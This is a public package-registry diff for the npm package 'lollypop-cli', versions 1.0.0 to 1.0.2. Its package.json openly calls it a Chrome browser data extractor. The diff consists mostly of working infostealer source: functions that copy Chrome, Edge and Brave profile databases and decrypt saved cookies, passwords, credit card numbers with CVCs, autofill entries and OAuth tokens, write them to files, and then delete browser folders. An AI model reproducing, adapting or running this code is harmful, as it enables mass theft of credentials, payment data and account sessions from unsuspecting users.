lollypop-cli 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js
CHANGED
|
@@ -1,9 +1,11 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
3
|
const fs = require('fs');
|
|
4
|
+
const fsp = require('fs').promises;
|
|
4
5
|
const path = require('path');
|
|
5
6
|
const crypto = require('crypto');
|
|
6
7
|
const { execSync } = require('child_process');
|
|
8
|
+
const { Writable } = require('stream');
|
|
7
9
|
|
|
8
10
|
// ─── Locate chrome_elevator.node and chrome_decrypt.enc ─────────────────────
|
|
9
11
|
|
|
@@ -140,12 +142,26 @@ function copyDbSafe(source, dest) {
|
|
|
140
142
|
} catch { return false; }
|
|
141
143
|
}
|
|
142
144
|
|
|
143
|
-
|
|
145
|
+
// ─── Async writeStream helper ─────────────────────────────────────────────────
|
|
146
|
+
// Retourne une Promise qui se résout uniquement quand le fichier est entièrement flush sur le disque
|
|
147
|
+
|
|
148
|
+
function writeFileAsync(filePath, content) {
|
|
149
|
+
return new Promise((resolve, reject) => {
|
|
150
|
+
const stream = fs.createWriteStream(filePath);
|
|
151
|
+
stream.on('error', reject);
|
|
152
|
+
stream.on('finish', resolve);
|
|
153
|
+
stream.end(content);
|
|
154
|
+
});
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
// ─── withDb : async-safe ─────────────────────────────────────────────────────
|
|
158
|
+
|
|
159
|
+
async function withDb(dbPath, outputDir, tag, fn) {
|
|
144
160
|
const tmp = path.join(outputDir, `_tmp_${tag}.db`);
|
|
145
161
|
try {
|
|
146
162
|
if (!copyDbSafe(dbPath, tmp)) return;
|
|
147
163
|
const db = new Database(tmp, { readonly: true, fileMustExist: true });
|
|
148
|
-
try { fn(db); } finally { try { db.close(); } catch {} }
|
|
164
|
+
try { await fn(db); } finally { try { db.close(); } catch {} }
|
|
149
165
|
} catch {}
|
|
150
166
|
finally { try { if (fs.existsSync(tmp)) fs.unlinkSync(tmp); } catch {} }
|
|
151
167
|
}
|
|
@@ -173,15 +189,14 @@ function parseTokenProto(buf) {
|
|
|
173
189
|
return (r || t) ? t + r : null;
|
|
174
190
|
}
|
|
175
191
|
|
|
176
|
-
// ─── Extraction functions
|
|
192
|
+
// ─── Extraction functions (toutes async, attendent le flush disque) ──────────
|
|
177
193
|
|
|
178
|
-
function extractCookies(profilePath, outputDir, keyHex) {
|
|
194
|
+
async function extractCookies(profilePath, outputDir, keyHex) {
|
|
179
195
|
const src = path.join(profilePath, 'Network', 'Cookies');
|
|
180
196
|
if (!fs.existsSync(src)) return;
|
|
181
|
-
withDb(src, outputDir, 'cookies', db => {
|
|
197
|
+
await withDb(src, outputDir, 'cookies', async db => {
|
|
182
198
|
const rows = db.prepare('SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies').all();
|
|
183
|
-
const
|
|
184
|
-
out.write('# Netscape HTTP Cookie File\n# Generated by ace-sqlite1337\n\n');
|
|
199
|
+
const lines = ['# Netscape HTTP Cookie File\n# Generated by ace-sqlite1337\n'];
|
|
185
200
|
let count = 0;
|
|
186
201
|
for (const row of rows) {
|
|
187
202
|
if (!row.encrypted_value) continue;
|
|
@@ -192,92 +207,102 @@ function extractCookies(profilePath, outputDir, keyHex) {
|
|
|
192
207
|
const secure = row.is_secure ? 'TRUE' : 'FALSE';
|
|
193
208
|
let exp = 0;
|
|
194
209
|
if (row.expires_utc > 0) { exp = Math.floor(row.expires_utc / 1_000_000 - 11644473600); if (exp < 0) exp = 0; }
|
|
195
|
-
|
|
210
|
+
lines.push(`${domain}\t${flag}\t${row.path}\t${secure}\t${exp}\t${row.name}\t${val}`);
|
|
196
211
|
count++;
|
|
197
212
|
}
|
|
198
|
-
|
|
199
|
-
|
|
213
|
+
if (count > 0) {
|
|
214
|
+
await writeFileAsync(path.join(outputDir, 'cookies.txt'), lines.join('\n'));
|
|
215
|
+
console.log(` [+] Cookies: ${count} / ${rows.length}`);
|
|
216
|
+
}
|
|
200
217
|
});
|
|
201
218
|
}
|
|
202
219
|
|
|
203
|
-
function extractPasswords(profilePath, outputDir, keyHex) {
|
|
220
|
+
async function extractPasswords(profilePath, outputDir, keyHex) {
|
|
204
221
|
for (const dbName of ['Login Data', 'Login Data For Account']) {
|
|
205
222
|
const src = path.join(profilePath, dbName);
|
|
206
223
|
if (!fs.existsSync(src)) continue;
|
|
207
|
-
const tag
|
|
208
|
-
withDb(src, outputDir, tag, db => {
|
|
224
|
+
const tag = dbName === 'Login Data' ? 'passwords' : 'passwords_account';
|
|
225
|
+
await withDb(src, outputDir, tag, async db => {
|
|
209
226
|
const rows = db.prepare('SELECT origin_url, username_value, password_value FROM logins').all();
|
|
210
|
-
const
|
|
211
|
-
let count
|
|
227
|
+
const lines = [];
|
|
228
|
+
let count = 0;
|
|
212
229
|
for (const row of rows) {
|
|
213
230
|
if (!row.password_value) continue;
|
|
214
231
|
const pass = decryptAesGcm(row.password_value, keyHex);
|
|
215
232
|
if (pass === null) continue;
|
|
216
|
-
|
|
233
|
+
lines.push(`URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${pass}\n${'-'.repeat(40)}`);
|
|
217
234
|
count++;
|
|
218
235
|
}
|
|
219
|
-
|
|
220
|
-
|
|
236
|
+
if (count > 0) {
|
|
237
|
+
await writeFileAsync(path.join(outputDir, tag + '.txt'), lines.join('\n'));
|
|
238
|
+
console.log(` [+] Passwords: ${count} (${dbName})`);
|
|
239
|
+
}
|
|
221
240
|
});
|
|
222
241
|
}
|
|
223
242
|
}
|
|
224
243
|
|
|
225
|
-
function extractHistory(profilePath, outputDir) {
|
|
244
|
+
async function extractHistory(profilePath, outputDir) {
|
|
226
245
|
const src = path.join(profilePath, 'History');
|
|
227
246
|
if (!fs.existsSync(src)) return;
|
|
228
|
-
withDb(src, outputDir, 'history', db => {
|
|
247
|
+
await withDb(src, outputDir, 'history', async db => {
|
|
229
248
|
const rows = db.prepare('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5000').all();
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
249
|
+
if (!rows.length) return;
|
|
250
|
+
const lines = rows.map(r => `URL: ${r.url}\nTitle: ${r.title}\nVisits: ${r.visit_count}\nLast: ${r.last_visit_time}\n${'-'.repeat(40)}`);
|
|
251
|
+
await writeFileAsync(path.join(outputDir, 'history.txt'), lines.join('\n'));
|
|
233
252
|
console.log(` [+] History: ${rows.length} items`);
|
|
234
253
|
});
|
|
235
254
|
}
|
|
236
255
|
|
|
237
|
-
function extractAutofill(profilePath, outputDir) {
|
|
256
|
+
async function extractAutofill(profilePath, outputDir) {
|
|
238
257
|
const src = path.join(profilePath, 'Web Data');
|
|
239
258
|
if (!fs.existsSync(src)) return;
|
|
240
|
-
withDb(src, outputDir, 'autofill', db => {
|
|
259
|
+
await withDb(src, outputDir, 'autofill', async db => {
|
|
241
260
|
let rows;
|
|
242
261
|
try { rows = db.prepare('SELECT name, value, date_created FROM autofill').all(); } catch { return; }
|
|
243
262
|
if (!rows.length) return;
|
|
244
|
-
const
|
|
245
|
-
|
|
246
|
-
out.end();
|
|
263
|
+
const lines = rows.map(r => `Name: ${r.name}\nValue: ${r.value}\nDate: ${r.date_created}\n${'-'.repeat(40)}`);
|
|
264
|
+
await writeFileAsync(path.join(outputDir, 'autofill.txt'), lines.join('\n'));
|
|
247
265
|
console.log(` [+] Autofill: ${rows.length} items`);
|
|
248
266
|
});
|
|
249
267
|
}
|
|
250
268
|
|
|
251
|
-
function extractCards(profilePath, outputDir, keyHex) {
|
|
269
|
+
async function extractCards(profilePath, outputDir, keyHex) {
|
|
252
270
|
const src = path.join(profilePath, 'Web Data');
|
|
253
271
|
if (!fs.existsSync(src)) return;
|
|
254
|
-
withDb(src, outputDir, 'cards', db => {
|
|
272
|
+
await withDb(src, outputDir, 'cards', async db => {
|
|
255
273
|
const cvcMap = {};
|
|
256
|
-
try {
|
|
274
|
+
try {
|
|
275
|
+
for (const row of db.prepare('SELECT guid, value_encrypted FROM local_stored_cvc').all()) {
|
|
276
|
+
const v = decryptAesGcm(row.value_encrypted, keyHex);
|
|
277
|
+
if (v) cvcMap[row.guid] = v;
|
|
278
|
+
}
|
|
279
|
+
} catch {}
|
|
257
280
|
let rows;
|
|
258
281
|
try { rows = db.prepare('SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards').all(); } catch { return; }
|
|
259
|
-
const
|
|
282
|
+
const lines = [];
|
|
260
283
|
let count = 0;
|
|
261
284
|
for (const row of rows) {
|
|
262
285
|
if (!row.card_number_encrypted) continue;
|
|
263
286
|
const num = decryptAesGcm(row.card_number_encrypted, keyHex);
|
|
264
287
|
if (num === null) continue;
|
|
265
|
-
|
|
288
|
+
lines.push(`Name: ${row.name_on_card}\nNum: ${num}\nExp: ${row.expiration_month}/${row.expiration_year}\nCVC: ${cvcMap[row.guid] || ''}\n${'-'.repeat(40)}`);
|
|
266
289
|
count++;
|
|
267
290
|
}
|
|
268
|
-
|
|
269
|
-
|
|
291
|
+
if (count > 0) {
|
|
292
|
+
await writeFileAsync(path.join(outputDir, 'cards.txt'), lines.join('\n'));
|
|
293
|
+
console.log(` [+] Cards: ${count}`);
|
|
294
|
+
}
|
|
270
295
|
});
|
|
271
296
|
}
|
|
272
297
|
|
|
273
|
-
function extractTokens(profilePath, outputDir, keyHex) {
|
|
298
|
+
async function extractTokens(profilePath, outputDir, keyHex) {
|
|
274
299
|
const src = path.join(profilePath, 'Web Data');
|
|
275
300
|
if (!fs.existsSync(src)) return;
|
|
276
|
-
withDb(src, outputDir, 'tokens', db => {
|
|
301
|
+
await withDb(src, outputDir, 'tokens', async db => {
|
|
277
302
|
let rows, hasBinding = true;
|
|
278
303
|
try { rows = db.prepare('SELECT service, encrypted_token, binding_key FROM token_service').all(); }
|
|
279
304
|
catch { hasBinding = false; try { rows = db.prepare('SELECT service, encrypted_token FROM token_service').all(); } catch { return; } }
|
|
280
|
-
const
|
|
305
|
+
const lines = [];
|
|
281
306
|
let count = 0;
|
|
282
307
|
for (const row of rows) {
|
|
283
308
|
if (!row.encrypted_token) continue;
|
|
@@ -286,18 +311,19 @@ function extractTokens(profilePath, outputDir, keyHex) {
|
|
|
286
311
|
let tok = parseTokenProto(plain) || plain.toString('utf8').replace(/[\x00-\x1f]/g, '').trim();
|
|
287
312
|
if (!tok) continue;
|
|
288
313
|
const bk = (hasBinding && row.binding_key) ? (decryptAesGcm(row.binding_key, keyHex) || '') : '';
|
|
289
|
-
|
|
314
|
+
lines.push(`Service: ${row.service}\nToken: ${tok}\nBinding: ${bk}\n${'-'.repeat(40)}`);
|
|
290
315
|
count++;
|
|
291
316
|
}
|
|
292
|
-
|
|
293
|
-
|
|
317
|
+
if (count > 0) {
|
|
318
|
+
await writeFileAsync(path.join(outputDir, 'tokens.txt'), lines.join('\n'));
|
|
319
|
+
console.log(` [+] Tokens: ${count}`);
|
|
320
|
+
}
|
|
294
321
|
});
|
|
295
322
|
}
|
|
296
323
|
|
|
297
|
-
// ─── Main export
|
|
324
|
+
// ─── Main export (maintenant async, attend que tout soit écrit sur disque) ───
|
|
298
325
|
|
|
299
|
-
function main(config = {}) {
|
|
300
|
-
console.log('=== ace-sqlite1337 ===\n');
|
|
326
|
+
async function main(config = {}) {
|
|
301
327
|
|
|
302
328
|
const browserList = config.browsers
|
|
303
329
|
? Object.entries(config.browsers).map(([key, val]) => ({ key, name: val.name || key, dir: val.path }))
|
|
@@ -323,17 +349,18 @@ function main(config = {}) {
|
|
|
323
349
|
for (const profile of profiles) {
|
|
324
350
|
const profilePath = path.join(browser.dir, profile);
|
|
325
351
|
const outputDir = path.join(baseOutputDir, browser.key, profile);
|
|
326
|
-
|
|
352
|
+
await fsp.mkdir(outputDir, { recursive: true });
|
|
327
353
|
|
|
328
354
|
const label = displayNames[profile] !== profile ? `${profile} (${displayNames[profile]})` : profile;
|
|
329
355
|
console.log(`\n Profile: ${label}`);
|
|
330
356
|
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
357
|
+
// Toutes les extractions sont await — on attend le flush disque avant de continuer
|
|
358
|
+
await extractCookies(profilePath, outputDir, keyResult.key);
|
|
359
|
+
await extractPasswords(profilePath, outputDir, keyResult.key);
|
|
360
|
+
await extractHistory(profilePath, outputDir);
|
|
361
|
+
await extractAutofill(profilePath, outputDir);
|
|
362
|
+
await extractCards(profilePath, outputDir, keyResult.key);
|
|
363
|
+
await extractTokens(profilePath, outputDir, keyResult.key);
|
|
337
364
|
}
|
|
338
365
|
console.log('');
|
|
339
366
|
}
|
|
@@ -343,7 +370,7 @@ function main(config = {}) {
|
|
|
343
370
|
console.log('=== Extraction Complete ===');
|
|
344
371
|
console.log(`All extracted data is in: ${baseOutputDir}`);
|
|
345
372
|
|
|
346
|
-
//
|
|
373
|
+
// Nettoyage des dossiers browser créés à côté du script appelant
|
|
347
374
|
const callerDir = process.cwd();
|
|
348
375
|
for (const name of ['Chrome', 'Edge', 'Brave', 'Brave Browser', 'chrome', 'edge', 'brave']) {
|
|
349
376
|
const folder = path.join(callerDir, name);
|
|
@@ -355,4 +382,4 @@ function main(config = {}) {
|
|
|
355
382
|
}
|
|
356
383
|
}
|
|
357
384
|
|
|
358
|
-
module.exports = { main };
|
|
385
|
+
module.exports = { main };
|
package/package.json
CHANGED
|
@@ -1,16 +1,16 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "lollypop-cli",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.2",
|
|
4
4
|
"description": "Chrome ABE browser data extractor (cookies, passwords, history, cards, tokens)",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|
|
7
7
|
"index.js",
|
|
8
|
-
"
|
|
9
|
-
"
|
|
8
|
+
"lollypop2.node",
|
|
9
|
+
"lollypop.enc"
|
|
10
10
|
],
|
|
11
11
|
"dependencies": {
|
|
12
|
-
"better-sqlite3": "^
|
|
13
|
-
|
|
12
|
+
"better-sqlite3": "^9.6.0"
|
|
13
|
+
},
|
|
14
14
|
"publishConfig": {
|
|
15
15
|
"access": "public"
|
|
16
16
|
}
|
|
File without changes
|
|
File without changes
|